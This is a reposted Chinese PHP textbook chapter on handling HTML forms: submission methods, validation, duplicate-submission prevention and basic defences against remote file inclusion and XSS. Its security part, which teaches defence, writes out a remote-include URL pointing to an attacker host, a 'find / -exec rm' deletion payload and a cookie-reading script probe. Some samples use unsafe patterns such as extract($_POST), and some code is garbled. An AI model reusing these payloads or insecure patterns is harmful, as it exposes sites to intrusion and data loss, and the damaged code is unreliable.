第5章 表单——处理用户输入
时间:2007-10-23
来源:互联网
在本章,我们将学习如下内容:
Ø使用Dreamweaver设计HTML表单
Ø使用PHP发送与接收表单数据
ØPHP表单多页的传值及处理
Ø使用PHP验证用户输入
Ø在PHP中防止一些轻量级的攻击
ØPHP的两种会话管理方式:COOKIE和SESSION
Ø规划我们的Web应用程序
5.1 表单与HTML
HTML是一种简单的标记语言,为使用者提供了极大的灵活性,这一点使它很容易学习和编写,也同样是由于这一点,太多的网页设计人员对HTML的设计与编码几乎为滥用,导致一个页面在IE、Firefox、Mozila几个不同浏览器中显示得千差万别。
如今的Web设计已经启用新的标准,旨在使网页的HTML只包含内容和信息,以标准HTML和CSS(级联样式表)存储信息的方式,也就是现在流行的DIV+CSS设计标准。
有一些人建议使用XML来取代HTML语言。虽然XML有这样那样的强大功能,不过因为入门的门槛较高,让人望而生畏,而且目前有太多的HTML型网站,因此目前沿行的标准是HTML与XML的兼容规格,叫做XHTML,用以从HTML过渡到XML。在本书中的代码都是基于XHTML兼容性的,建议你也将XHTML应用到Web项目中。创建和处理表单是PHP开发者的一个重要能力指标。下面我们开始介绍如何设计表单。
5.2设计表单
表单是Web应用中最常用的组件,由提交按钮以及其他相关元素组成。表单被应用在各个领域中,用于实现注册用户、填写银行账户和登录等功能。
表单使用<form>作为开始标签,以</form>结尾,否则将不起任何作用。在一个HTML页面中允许有若干个表单,在编写时以表单的名字(name)和Form ID作为它们之间的区分。
下面是最简单的表单,代码如下:
PHP代码:
<form><input type="submit" />
</form>
这个表单在浏览器上只会显示一个按钮“提交查询内容”字样,没有太多的意义。如果要提交数据并形成一个完整的表单,需要在<form>标签增加两个比较重要的属性标签:action和method,如以下表单所示:
PHP代码:
<form name="regform" id="regform" action="getPasswd.php" method="post">电子邮件:<input type="text" size=30 name="email" value="">
<input type="submit" value="确 定" name="btnSubmit">
</form>
其中,action标签指的是接收处理结果的文件位置,当action值为空时,则提交给当前文件本身,如果action的值为其他文件或URL,则提交给该文件或URL地址处理。
method标签是描述提交数据时使用的方法,它有两种值:GET和POST,如果没有设置method属性或该属性为空值,浏览器默认method的值为POST方法。
下面是处理POST表单的方法。
例5-1:getPasswd.php �C 接受POST表单提交的值
PHP代码:
<?php
$action = $_SERVER['PHP_SELF'];
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
echo '使用POST方法传递表单值';
echo "$_POST[email]";
}
?>
<form name="regform" id="regform" action="<?php echo $action;?>" method="post">
电子邮件:<input type="text" size=30 name="email" value="">
<input type="submit" value="确 定" name="btnSubmit">
</form>
如果要在浏览器中发送表单或数据给服务器端,使用GET或POST方法都能实现。GET方法是在访问URL时,使用浏览器地址栏来传递值。我们可以在很多网站上看到这类URL串,图5-1所示的就是使用GET方法传递参数。
图5-1
GET方法方便直观,缺点是访问该网站的用户也可以修改URL串后发送给服务器,如果程序处理得不够好很容易出错,而且GET传递的字符串长度不能超过250个字符,如果超长,浏览器会自动截断,导致数据缺失。另外,GET方法不支持ASCII字符之外的任何字符,比如包含有汉字或其他非ASCII字符时,需要使用额外的编码操作,虽然有时候浏览器也能自动完成(可以使用url_encode和url_decode函数,使用方法详见2.9.2节)。
POST方法发送变量数据时,对于用户来说是不透明的,按HTTP协议来说,数据附加于header的头信息中,用户不能随意修改,这对于Web应用程序而言,安全性要好得多,而且使用POST可以发送大体积的数据给Web服务器。
因为POST是随HTTP的header信息一起发送的,当触发POST表单提交后,如果用户浏览页面时单击“后退”按钮,浏览器不会自动重发POST数据。如果用户此时单击“刷新”按钮,将会有“数据已经过期,是否重新提交表单”的提示,这一点不如GET使用方便。使用GET传值时,即便用户使用“后退”或“刷新”按钮,浏览器的URL地址也是仍然存在的。
因此,我们在开发中需要根据实际应用灵活选择GET和POST来提交表单数据。
值得一提的是,如果在HTML中缺少表单结束标记</form>,那么整个表单是不会触发任何提交动作的。在实际开发时,一些粗心的人会发现单击按钮没有任何反映,其实细心检查一下表单的代码就可以了,有时即使少写了一个HTML字符,浏览器也不会替我们干活的。
作者: PHPChina 发布时间: 2007-10-23
作者: forest 发布时间: 2007-10-23
作者: forest 发布时间: 2007-10-23
表单所使用的标签元素有十几个,PHP开发中常用及较重要的标签如表5-1所示。
表5-1
表单元素 |
说 明 |
input type="checkbox" | 复选框,允许用户选择多个选择项 |
input type="file" | 文件浏览框,当文件上传时,可用来打开一个模式窗口以选择文件 |
input type="hidden" | 隐藏标签,用于在表单中以隐含方式提交变量值 |
input type="password" | 密码文本框,用户在该文本框输入字符时将被替换显示为*号 |
input type="radio" | 单选项,用于设置一组选择项,用户只能选择一个 |
input type="reset" | 清除与重置表单内容,用于清除表单中所有文本框的内容,而且使选择菜单项恢复到初始值 |
input type="submit" | 表单提交按钮 |
input type="text" | 单行文本框 |
select | 下拉列表框,可单选和多选。默认为单选,如果增加多项选择功能,增加<select name="select" size="自定义列数" multiple="multiple">即可 |
option | 列表下拉菜单,和select配合使用,显示供选择的 |
textarea | 多行文本框,在使用文本框时需要关闭标签之间的文本内容,形成如下格式:<Textarea>你的文字</Textarea> |
其中,hidden标签被称为隐藏或隐含的标签,它不会在用户浏览的页面界面上出现,当用户填写资料表单和跨页之间传值时,可以使用该标签传递一些隐含的值。
password密码文本框用于隐藏密码,用户输入的文本将以*显示在文本框中,但是密码并没有加密,只是被*替换显示,这点请注意。
下面介绍表单的属性,它们用于表单中约束表单元素的行为或显示,其含义与约束如表5-2所示。
表5-2
属性名称 |
说 明 |
name | 文本框的名称,PHP根据该名称,在超级全局数组中建立以name为名称的键名 |
size | 文本框的宽度,在select下拉菜单中,表示可以看到的选项行数 |
value | 文本框中的默认值,注意,该值不能应用到type=password密码文本框以及type=file文件文本框中 |
multiple | 此属性用于下拉列表菜单select中,指定该选项用户可以使用Ctrl和Shift键进行多选 |
rows | 多行文本框显示时可以容纳的字符列数宽度 |
cols | 多行文本框显示时可以容纳的字符行数高度 |
除了以上一些必要的属性元素外,还有一些标准属性,如class,style,id等,可以参阅HTML相关资料。
在一些动态脚本中,需要使用PHP根据不同的请求从数据库生成表单元素,下面我们就来展示几种生成表单按钮或选项的方法。
1.动态生成一组单选按钮。
PHP代码:
<?php
$options = array("010" => "北京",
"020" => "上海",
"024" => "沈阳",
"0411"=> "大连");
$default = "024";
$html = generate_radio_group("city_id", $options, $default);
echo $html;
function generate_radio_group($name, $options, $default="") {
$name = htmlentities($name);
foreach($options as $value => $label) {
$value = htmlentities($value);
$html .= "<INPUT TYPE=\"RADIO\" ";
if ($value == $default){
$html .= "CHECKED ";
}
$html .= "NAME=\"$name\" VALUE=\"$value\">";
$html .= $label . "<br>";
}
return($html);
}
?>
2.动态生成多选项下拉列表菜单。
PHP代码:
<?php
function generate_checkboxes($name,$options, $default=array()) {
if (!is_array($default)){
$default = array();
}
foreach($options as $value => $label) {
$html .= "<input type=checkbox ";
if (in_array($value, $default)){
$html .= "checked ";
}
$html .= "name=\"{$name}[]\" value=\"$value\">";
$html .= $label . "<br>";
}
return($html);
}
$interests = array("音乐" => "音乐",
"电影" => "电影",
"互联网"=> "互联网",
"旅游" => "旅游");
$html = generate_checkboxes("interests",$options, $interests);
?>
选择您的爱好:
<form action="interests.php" method=post>
<?php echo $html;?>
<input type=submit value="继续">
</form>
PHP代码:
<?php
$options = array( '1' => '请选择',
'news' => '新闻',
'events' => '事件',
'publications' => '稿件' );
$default = "news";
//默认已选择的项
$html =generate_muilti_option("select", $options, $default);
echo $html;
function generate_muilti_option ($name,$options, $default){
//建立一个允许多选的列表单
echo '<select name="'.$name.'[]" id="'.$name.'[]" multiple="multiple">';
foreach( $options as $value => $option ) {
echo '<option value="' . htmlspecialchars( $value ) . '"' ;
if( $default == $value ) {
echo ' selected';
}
echo '>' . htmlspecialchars( $option ) . '</option>';
}
echo '</select>';
}
?>
作者: PHPChina 发布时间: 2007-10-23
5.5.1检查表单提交的来源
有些时候,我们需要对表单提交的来源进行处理,比如只允许某个主机或向脚本本身进行提交,防止有的人伪造相同的表单向我们的程序提交,造成安全问题。
前面我们介绍到,PHP的$_SERVER服务器超级全局数组提供了一个叫$_SERVER['HTTP_REFERER']的变量,用于保存上一页的来源,比如表单提交或者超级链接的URL地址。如果有人从他的计算机中提交表单或从浏览器地址中直接输入当前脚本名称,该变量会保存表单来源或为空值,这样我们就可以通过它的值进行处理。
下面的例子只允许文件本身提交表单传递值。
例5-2:formreferer.php �C 判断表单来源地址
PHP代码:
<?php
$action = $_SERVER['PHP_SELF'];
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
$ref = $_SERVER['HTTP_REFERER'];
$srv = [url=http://{$_SERVER[]http://{$_SERVER['SERVER_NAME']}$action[/url];
echo "当前来源为:<br><b>$ref</b><br>服务器地址为:<br><b>$srv</b><hr>";
if (strcmp($srv, $ref) == 0){
echo "匹配";
}
else{
echo "不允许站外提交";
}
}else{
echo '请提交表单';}
?>
<form action="<?php echo $action;?>" method="post">
<input type="submit" value="提交"/>
</form>
ØHTTP_REFERER 保存一个完整的来源URL地址。
ØSERVER_NAME
当前的服务器名称。
ØPHP_SELF
当前脚本的完整路径,包括文件名。
我们可以通过“http:// <SERVER_NAME>< PHP_SELF > == <HTTP_REFERER>”来比较,如果相同,则是合法的表单提交,否则不予处理。运行例5-2脚本,单击“提交”按钮后的结果如图5-2所示。
图5-2
5.5.2 一个完整表单处理
前面我们已经了解了处理表单的简单方式。下面我们将创建一个复杂的表单,代码如下所示。
PHP代码:
<form action="someform.php" method="post"><table width="541" border="0">
<tr>
<td width="26%">姓名:</td>
<td width="74%">
<input type="text" name="username" value="raymond" id="username" />
</td>
</tr>
<tr>
<td>密码:</td>
<td>
<input type="password" name="password" maxlength="10" id="password" />
</td>
</tr>
<tr>
<td>年龄:</td>
<td>
<select name="age">
<option value=">16">小于16</option>
<option value="16-30" selected>16-30</option>
<option value="31-50">31-50</option>
<option value="51-80">51-80</option>
</select>
</td>
</tr>
<tr>
<td valign="top">自我介绍:</td>
<td><textarea name="intro" rows="3" cols="50" id="intro">请输入您的自我介绍</textarea>
</td>
</tr>
<tr>
<td><br />体育爱好: </td>
<td><input type="radio" name="fave_sport" value="tennis" checked>网球
<input type="radio" name="fave_sport" value="football">足球
<input type="radio" name="fave_sport" value="baseball">篮球
<input type="radio" name="fave_sport" value="polo">保龄球
</td>
</tr>
<tr>
<td> 开发语言:</td>
<td><input name="from" type="hidden" id="from" value="注册表单">
<input type="checkbox" name="languages[]" value="php" checked id="languages[]">php
<input type="checkbox" name="languages[]" value="java" id="languages[]">java
<input type="checkbox" name="languages[]" value="perl" id="languages[]">perl
<input type="checkbox" name="languages[]" value="cpp" id="languages[]">c++
<input type="checkbox" name="languages[]" value=".net" id="languages[]">.NET
<input type="checkbox" name="languages[]" value="delphi" id="languages[]">delphi
</td>
</tr>
<tr>
<td valign="top"><br>
<label> 开发工具:</label></td>
<td><select name="develop_ide[]" size="5" multiple id="develop_ide[]">
<option value="ZDE" selected>Zend Studio</option>
<option value="Eclipse">Eclipse</option>
<option value="Editplus">Editplus</option>
<option value="Ultraedit">Ultraedit</option>
<option value="Other">Other</option>
</select></td>
</tr>
<tr>
<td valign="top"> </td>
<td><input type="submit" name="btn_submit" value="提交" /></td>
</tr>
</table>
</form>
Ømaxlength是与密码文本框关联的属性,它限制用户输入密码的最大长度为10个字符。
Øage列表框是列表菜单,它的命名属性下都有自己的值供选择。selected是一个特定的属性选择元素,如果某个option附加有该属性,在显示时就把该项列为第一项显示。
Øintro文本框中的内容,按照rows和cols显示文字、行和列宽。
Øfave_sport是一组单选按钮(radio),我们要按组命名元素名称,比如这一组单选按钮都叫做fave_sport,用户只可选择一个,发送脚本端也只存在一个值。
Ø和单选项一样,所有多选项成员也须有同名的属性,而属性名称需要添加括号[],这样就把多选项的值以数组形式发送给PHP,languages就是这种形式。
Øchecked标签是指单选项和多选项中的某个值,默认已经被选择。
上面表单的显示画面如图5-3所示。
图5-3
因为上面HTML中的form表单使用的是POST方法传递数据,所以用户提交的数据会保存到$_POST或$_REQUEST的超级全局数组中,我们根据$_POST数组中的值就可以处理提交的数据。
将上面表单中数据提交到someform.php脚本,该脚本的处理逻辑如下:
PHP代码:
<?php
//通过判断按钮的变量名是否在$_POST中定义,如果有表示该表单已提交
if(isset($_POST["btn_submit"])){
if (empty($_POST['username'])){
echo "您没有输入用户名";
exit(0);
}
if (empty($_POST['password'])){
echo "您没有输入密码: ";
exit(0);
}
echo "您的用户名: ".$_POST['user_name']."<br />";
echo "您的密码(明文): ".$_POST['password']."<br />";
echo "您的年龄: ".$_POST['age']."<br />";
if (!empty($_POST['languages'])){
echo "您选择的语言为:";
//处理用户选择兴趣的checkbox按钮产生的数组
foreach ($_POST['languages'] as $lang){
echo $lang. " ";
}
} else {
echo "您没有输入任何兴趣爱好";
}
if (!empty($_POST['develop_ide'])){
echo "您使用的开发工具为:";
//处理用户多选开发工具菜单产生的数组
foreach ($_POST['develop_ide'] as $ide){
echo $ide. " ";
}
} else {
echo "您没有选择开发工具";
}
echo "您的自我介绍: ".nl2br($_POST['intro'])."<br />";
echo "网页隐藏值(通过hidden标签值传递): ".$_POST['from']."<br />";
}
?>
说明:使用POST方式提交表单,通过HTTP协议的header部分传递表单数据,理论上数据的大小无上限。不过,在使用PHP进行POST提交时,文件大小受PHP配置文件(php.ini)限制,我们可以修改php.ini文件中的post_max_size参数,可将默认的2M字节,修改为自己需要的大小,但由于HTTP协议的特性,这个值不宜设置过大,最大以8M为宜。
作者: PHPChina 发布时间: 2007-10-23
下面,让我们一起来看两种处理表单的编程方法以及它们的优缺点。
5.6.1使用import_request_variables()函数
使用import_request_variables()函数可以有选择地注册全局变量集合。你可以使用该函数导入 $_GET、$_POST和$_COOKIE的值,还可以为每个导入的变量添加前缀(prefix)。
bool import_request_variables ( string types [,string prefix])
参数中types字符串中允许为g、p、c字符,或者3个字符间任意的组合。其中,“g”表示GET变量,“p”表示POST变量,“c”表示cookies。
注意:3个字符的排列顺序是有区别的,当使用“pg”时,POST变量将使用相同的名字覆盖$_GET变量;反之,当使用“gp”时,$_GET变量数组将优先于$_POST。
prefix参数作为变量名的前缀,置于所有被导入到全局作用域的变量之前。比如我们有个名为“userid”的$_GET超级全局变量数组,同时提供了“pref_”作为前缀,那么我们将获得一个名为$pref_userid的全局变量。如果我们要导入其他全局变量(例如$_SERVER变量),则请考虑使用extract()函数(在函数一章中有介绍)。注意,在使用prefix前缀时,不要与现有数据或变量名产生冲突。
使用import_request_variable()函数实现变量导入的脚本例子如下:
//导入POST提交的变量值,前缀为post_
import_request_variable("p", "post_");
//导入GET和POST提交的变量值,前缀为gp_,GET优先于POST
import_request_variable("gp", "gp_");
//导入Cookie和GET的变量值,Cookie变量值优先于GET
import_request_variable("cg", "cg_");
如果我们在import_request_variables()函数中使用了“pg参数”,请看如下脚本实例:
PHP代码:
<?php
if(isset($_REQUEST['btn_submit'])){
echo "正常取得的表单POST变量值:".$_REQUEST['Username']."<br />";
import_request_variables("pg", "import_");
//显示导入的变量名称
echo "使用import_request_variables函数导入的变量值:".$import_Username;
}
?>
<form id="test_form" name="test_form" method="POST" action="">
请输入您的名字:
<label>
<input type="text" name="Username" id="Username" />
</label>
<label>
<input type="submit" name="btn_submit" id="btn_submit" value="提交" />
</label>
<br />
</form>
图5-4
注意:prefix前缀参数是必选的,如果未指定前缀,或者指定一个空字符串作为变量前缀,PHP会抛出一个E_NOTICE错误。
import_request_variables()函数为我们提供一个中间方法,适用于如下几种情况:
1.当用户不能使用超级变量数组时;
2.在php.ini配置文件的register_globals参数为Off(PHP 5之后的版本默认为Off)时,使用import_request_variables将GET/POST/Cookie这几个超级变量数组导入到全局作用域中。
3.在开发时,只要声明了引入的变量范围,就不必写$_GET或$_REQUEST一堆很长的超级全局数组名称了。
5.6.2使用extract()函数
我们可以使用extract()函数,比如在接收页面脚本的最前面加上extract($_POST);extract($_GET);这样的语句,导出几个用于表单处理的超级变量数组值,如以下代码所示:
@extract(i_addslashes($_POST), EXTR_OVERWRITE);
@extract(i_addslashes($_GET), EXTR_OVERWRITE);
@extract(i_addslashes($_COOKIE), EXTR_OVERWRITE);
@extract(i_addslashes($_SESSION), EXTR_OVERWRITE);
我们看一个使用extract导出为正常变量的脚本例子:
PHP代码:
<?php
// 将$_GET和$_POST超级变量数组获取的变量转为正常的变量,这样直接显示变量名称即可
extract($_GET);
extract($_POST);
echo "您好, $username $age";
?>
<form action="" method="post">
姓名:<input type="text" name="username" id="username" />
年龄:<select name="age">
<option value=">16">小于16</option>
<option value="16-30" selected>16-30</option>
<option value="31-50">31-50</option>
<option value="51-80">51-80</option>
</select></td>
<input type="submit" name="btn_submit" value="提交" />
</form>
图5-5
5.7多页面间传递数据
当遇到一个非常大的表单时,不可能把所有的表单都放在一个页面里面,需要将一个大表单分解成若干个小表单,并保存于几个页面中,当第一个表单填写完后,需要收集该表单的值并传递给下一个表单页面。
我们可以使用如下方法进行处理。
Ø使用表单的隐含元素(hidden)。
Ø把当前表单的数据保存在SESSION中(详情请参见会话一章)。
Ø把当前表单的数据保存在MySQL数据库中。
你可以从以上三个方案中选择一种易于程序处理和调试的解决方案。表单的传值可以使用POST,这样传递数据的尺寸不成问题,另外,在调试程序时,我们可以通过查看HTML源文件方式,来知道当前的变量是否是预想的值。
对于一个非常大的表单,我们就要想办法把它们分解成两个或更多个表单以方便用户输入,这需要在页面间传值,代码如下:
<INPUT TYPE="HIDDEN" NAME="Name" VALUE="<?php echo $_REQUEST['Name']; ?>">
<INPUT TYPE="HIDDEN" NAME="Password" VALUE="<?php echo $_REQUEST['Password']; ?>">
当多个页面传递数据时,我们可以使用类似上面的语句来处理前一页或通过URL传递的值。
作者: PHPChina 发布时间: 2007-10-23
前面提过,不能指望用户按我们的意愿输入数据,因此,在用户提交表单后,一定要对用户输入进行校验处理,比如希望用户输入1012,而不是输入10.12这种数据,这就需要我们在客户端(浏览器)和PHP两端都要进行验证。
5.8.1客户端验证
我们可以使用JavaScript在客户端来校验表单内容,如果数据正确才允许提交到服务器端,这是Web开发中最常见的方法。利用客户端验证的好处是用户反馈快,无须直接到服务器请求信息后再下载HTML页。大多数验证是放在表单的"onSubmit"事件中,当JavaScript处理表单验证,用户试图递交表单,则立即返回布尔值False,浏览器也不会进行表单提交,方便用户立即纠正错误,因为校验动作都在客户端,从而减小了服务器端的负荷。其缺点是,客户端浏览器如IE、Firefox,它们对所支持的JavaScript脚本解释并不完全相同,在细节上彼此也有些差异。此外,一些用户为了安全,在浏览器端禁止了对JavaScript的支持,或者根本就是恶意的关闭,这样客户端浏览器就完全不理会客户端验证,为避免这个安全问题,所以仍需要在服务器端进行再次数据验证。
5.8.2服务器端验证
使用服务器端数据验证,是利用PHP脚本来处理表单数据。与客户端验证相比,使用服务器验证的优点在于:它更安全,与所有浏览器无缝对接;缺点是代价稍高,用户反馈慢、增加了服务器负荷。
使用服务器端验证另一大的优势是,你可以用PHP对校验规则进行任意的修改,利用PHP的多种函数和灵活特点,可以很方便更改校验的数据类型、长度,以及检查文本框范围内的号码等。
另外,如果用PHP连接MySQL数据库才能验证用户名是否存在,这种情况下,根本不可能使用客户端脚本。
5.8.3避免表单重复提交
用户提交表单时可能因为网速的原因,或者网页被恶意刷新,致使同一条记录重复插入到数据库中,这是一个比较棘手的问题。我们可以从客户端和服务器端一起着手,设法避免同一表单的重复提交。
1.使用客户端脚本提到客户端脚本,经常使用的是JavaScript进行常规输入验证。在下面的例子中,我们使用它处理表单的重复提交问题,请看下面的代码:
PHP代码:
<form method="post" name="register" action="test.php" enctype="multipart/form-data"><input name="text" type="text" id="text" />
<input name="cont" value="提交" type="button" FONT-FAMILY: 宋体; mso-ascii-font-family: 'Courier New'; mso-hansi-font-family: 'Courier New'">正在提交,请等待...';document.register.cont.disabled=true;document.the_form.submit();">
</form>
图5-6
上面的例子中使用OnClick事件检测用户的提交状态,如果单击了“提交”按钮,该按钮立即置为失效状态,用户不能单击按钮再次提交。
还有一个方法,也是利用JavaScript的功能,但是使用的是OnSubmit()方法,如果已经提交过一次表单,将立即弹出对话框,代码如下:
PHP代码:
<script language="javascript"><!--
var submitcount=0;
function submitOnce (form){
if (submitcount == 0){
submitcount++;
return true;
} else{
alert("正在操作,请不要重复提交,谢谢!");
return false;
}
}
//-->
</script>
<form name="the_form" method="post" action="" >
<input name="text" type="text" id="text" />
<input name="cont" value="提交" type="submit">
</form>
2.使用Cookie处理使用Cookie记录表单提交的状态,根据其状态可以检查是否已经提交表单,请见下面的代码:
PHP代码:
<?php
if(isset($_POST['go'])){
setcookie("tempcookie","",time()+30);
header("Location:".$_SERVER[PHP_SELF]);
exit();
}
if(isset($_COOKIE["tempcookie"])){
setcookie("tempcookie","",0);
echo "您已经提交过表单";
}
?>
3.使用Session处理利用PHP的Session功能,也能避免重复提交表单。Session保存在服务器端,在PHP运行过程中可以改变Session变量,下次访问这个变量时,得到的是新赋的值,所以,可以用一个Session变量记录表单提交的值,如果不匹配,则认为是用户在重复提交,请见如下代码:
PHP代码:
<?php
session_start();
//根据当前SESSION生成随机数
$code = mt_rand(0,1000000);
$_SESSION['code'] = $code;
?>
<input type="hidden" name="originator" value="<?=$code?>">
在接收页面的PHP代码如下:
PHP代码:
<?php
session_start();
if(isset($_POST['originator'])) {
if($_POST['originator'] == $_SESSION['code']){
// 处理该表单的语句,省略
}else{
echo ‘请不要刷新本页面或重复提交表单!’;
}
}
?>
4.使用header函数转向除了上面的方法之外,还有一个更简单的方法,那就是当用户提交表单,服务器端处理后立即转向其他的页面,代码如下所示。
PHP代码:
if (isset($_POST['action']) && $_POST['action'] == 'submitted') {//处理数据,如插入数据后,立即转向到其他页面
header('location:submits_success.php');
}
5.8.4表单过期的处理
在开发过程中,经常会出现表单出错而返回页面的时候填写的信息全部丢失的情况,为了支持页面回跳,可以通过以下两种方法实现。
1.使用header头设置缓存控制头Cache-control。
header('Cache-control: private, must-revalidate');
//支持页面回跳
2.使用session_cache_limiter方法。
session_cache_limiter('private, must-revalidate'); //要写在session_start方法之前
下面的代码片断可以防止用户填写表单的时候,单击“提交”按钮返回时,刚刚在表单上填写的内容不会被清除:
session_cache_limiter('nocache');
session_cache_limiter('private');
session_cache_limiter('public');
session_start();
//以下是表单内容,这样在用户返回该表单时,已经填写的内容不会被清空
将该段代码贴到所要应用的脚本顶部即可。
Cache-Control消息头域说明Cache-Control指定请求和响应遵循的缓存机制。在请求消息或响应消息中设置Cache-Control并不会修改另一个消息处理过程中的缓存处理过程。
请求时的缓存指令包括no-cache、no-store、max-age、max-stale、min-fresh和only-if-cached,响应消息中的指令包括public、private、no-cache、no-store、no-transform、must-revalidate、proxy-revalidate和max-age。各个消息中的指令含义如表5-3所示。
表5-3
缓存指令 |
说 明 |
public | 指示响应可被任何缓存区缓存 |
private | 指示对于单个用户的整个或部分响应消息,不能被共享缓存处理。这允许服务器仅仅描述当用户的部分响应消息,此响应消息对于其他用户的请求无效 |
no-cache | 指示请求或响应消息不能缓存 |
no-store | 用于防止重要的信息被无意的发布。在请求消息中发送将使得请求和响应消息都不使用缓存 |
max-age | 指示客户机可以接收生存期不大于指定时间(以秒为单位)的响应 |
min-fresh | 指示客户机可以接收响应时间小于当前时间加上指定时间的响应 |
max-stale | 指示客户机可以接收超出超时期间的响应消息。如果指定max-stale消息的值,那么客户机可以接收超出超时期指定值之内的响应消息 |
有关Session和Cookie的介绍,详细内容请参阅第10章“PHP会话管理”。
5.8.5判断表单动作的技巧
表单可以通过同一个程序来分配应该要处理的动作,在表单中有不同的逻辑,要怎么判别使用者按下的按钮内容不过是个小问题。
其实只要通过提交按钮的name 就可以知道了,表单在提交出去的时候,只有按下的submit类型的按钮才会被送到表单数组去,所以只要判断按钮的值就可以知道使用者按下哪一个按钮,以如下表单为例:
PHP代码:
<FORM method="POST" Action=test.php><input type=submit name="btn" value="a">
<input type=submit name="btn" value="b">
</FORM>
另外也可以通过提交按钮的名字(name)来判断,请见如下代码:
PHP代码:
<FORM method="POST" Action=test.php><input type=submit name="a" value="提交A">
<input type=submit name="b" value="提交B">
</FORM>
PHP代码:
<?php
print_r($_POST);
?>
作者: PHPChina 发布时间: 2007-10-23
网站的访客是千差万别的,他可能是一个学生,也可能是一位教授,可能是一个什么都不懂的电脑菜鸟,更有可能是个黑客,不管是弹出意外的错误,还是故意找碴,他们总是喜欢不按我们希望的方式输入,或者寻找我们网站的安全漏洞。
网站中一些常见漏洞,很多原因是开发者的大意造成的,当然还有一部分原因是因为操作系统或服务器配置的原因。常见的安全隐患与比例如表5-4所示。
表5-4
程序缺陷 |
比 例 |
用户输入不做验证 | 42.6% |
访问控制缺陷 | 3.6% |
SESSION ID验证漏洞 | 5.4% |
数据库SQL注入 | 28.6% |
错误报告 | 7.1% |
其他问题 | 0.9% |
这个结果作为我们编写程序时的警钟,它告诉我们,为了保证系统的安全,一定注意这几个漏洞,不要为了贪图一时之便,或者为了执行的效率而牺牲了系统安全性,万一失掉了宝贵的数据,或者网站被别人用来发放不良信息而影响了信誉,就得不偿失了。
在本节中,我们介绍导致站点被连续攻击的漏洞,然后,介绍针对这些问题介绍技术解决方法。
5.9.1处理全局性错误
可以确定,一些经常发生的错误是完全可以避免的,另外经常浏览安全网站,或订阅相关的邮件列表,可以注意到每周的安全焦点和预防措施,以及专门针对于PHP应用程序的攻防策略。
1.全局变量一个最基本错误是没有适当地初始化全局变量。注意设置php.ini的开关参数。虽然PHP 5的register_globals参数值默认为Off,但为了防止这种错误的发生,我们仍要注意这个问题,如果程序中不能生成变量,那么这个程序很可能是在register_globals为On的状态下的开发的。
下面的代码就是在register_blobals=On的状态下开发的:
PHP代码:
<?php
session_start();
/*
* $admin是一个session变量设置验证后的初始值
*/
if (!$admin) {
do_exit();
} else {
do_admin();
}
?>
PHP代码:
<?php
include_once $module. '.php';
?>
如果在浏览器上的URL GET参数,简单地加入?module=http://hackerweb.com/evilscript,会是什么效果?如果PHP接收到这个URL,会把$module变量等于http://hackerweb.com/evilscript.php。当运行到include()函数时,PHP会尝试在example.com包含这个evilscript.php,以及执行这个程序的代码,而evilscript可能包含如下的代码:
PHP代码:
<?php
'find / -exec rm "{}" ";"';
?>
还有一些潜在的危险,那就是register_globals的一些特性,我们一步一步地处理:
首先,我们要在php.ini中将register_globals设置为Off;
第二步,将程序里的$admin,全部换成$_SESSION['admin'];
第三步,我们要解决的是,在程序进行包含操作之前,检查在本地机器中该文件是否存在,如果不存在,则不进行包含操作,比如进行如下的改进:
PHP代码:
<?php
if (file_exists($module. '.php')) {
include $module. '.php';
}
?>
下面我们一起讨论跨站式XSS脚本攻击技术。
跨站式XSS漏洞主要是因为HTML没有明确区分代码和数据;其次,程序在将用户数据发送回浏览器时没有进行有效的转义,这导致包含有引号的数据被放入页面中。
一个攻击者可能利用一个客户端脚本来执行一些片断,例如JavaScript或VBScript,来窃取Cookies或其他敏感数据,这些攻击只需要通过插入一行HTML数据到我们的网站就能实施。
例如,这个攻击者可能将一些代码输入到我们网站的文本框,如果我们的程序没有过滤HTML标志,该代码将会被插入到网站数据库中,比如,图5-7所示的用户界面。
图5-7
这是一个显示用户注册的页面,攻击者可能会在文本框中连续输入如下代码:
<script language='JavaScript'>alert(document.cookie);</script>
如果没经过滤就将数据插入到数据库中,在点击查看用户信息时,将会出现图5-8所示的效果。
图5-8
未经验证输入的后果是,攻击者利用XSS 脚本攻击我们的网站,并有可能取得管理员登录的Cookie信息。
另外,在网站的前台页面,如果攻击者在上面的JavaScript中加入一个无限循环,可能就比较麻烦了,浏览者可能需要结束浏览器进程才能避免对话框的再次出现,那么该访问者可能再也不会进入我们的网站。
3.预防XSS攻击的方法预防XSS攻击最简单的方法就是过滤从表单来的数据,可以使用PHP函数以及数据库的过滤函数。我们使用如下函数或语句。
Ø使用htmlspecialchars()解码“'”,“"”,“<”,“>”和“&”这些HTML编码,前面我们说过使用 htmlentities()转换任意的HTML超文本实体,主要就是过滤输出(过滤<script>脚本标签等),如果允许使用HTML代码,就把输出变量用htmlentities再过滤一下,否则使用strip_tags函数。
Østrip_tags()函数会去除任何的HTML代码。
Ø每当权限级别发生改变的时候,使用session_regenerate_id()函数改变sessionid,如以下代码所示。
PHP代码:
<?php
$str = strip_tags($_POST['message']);
/* 将提交数据解码为HTML字符实体 */
$str = htmlentities($str);
/* 将换行符转换为 <br /> */
echo nl2br($str);
/* 转换与替换HTML字符 */
$str = strip_tags($_POST['message'], '<b><p><i><u>');
$str = htmlentities($str);
echo nl2br($str);
?>
PHP代码:
<html><title>对输入内容的过滤</title>
<meta http-equiv="Content-Type" c />
</head>
<body>
<div style="width: 500px; text-align: left;">
<?php
//如果接收到用户的提交请求.
if ($_POST['submitted'] == "yes"){
//清理空格字符
$yourname = trim($_POST['yourname']);
//过滤文本中的HTML标签.
$yourname = strip_tags ($yourname);
//将文本中的内容转换为HTML实体.
$yourname = htmlspecialchars ($yourname);
//加入字符转义.
$yourname = addslashes ($yourname);
//显示提交的结果.
echo $yourname . "<br />";
?>
<a href="Javascript:history.back(-1);">重试</a>
<?php
}
//如果没有提交,则显示表单.
if ($_POST['submitted'] != "yes"){
?>
<form action="" method="post">
<p>过滤表单的内容:</p>
<input type="hidden" name="submitted" value="yes" />
我们的名字: <input type="text" name="yourname" maxlength="150" /><br />
<input type="submit" value="Submit" style="margin-top: 10px;" />
</form>
<?php
}
?>
</div>
</body>
</html>
该函数是PHP 5.1版本新增的函数,功能是对已经转换为HTML实体的字符做反向的操作,请见下面的脚本例子:
PHP代码:
<?php
$str = '<p>HP5.1以后的新增函数 htmlspecialchars_decode() -> "</p>';
echo htmlspecialchars_decode($str);
// 使用ENT_NOQUOTES,对引用符号不做转换
echo htmlspecialchars_decode($str, ENT_NOQUOTES);
?>
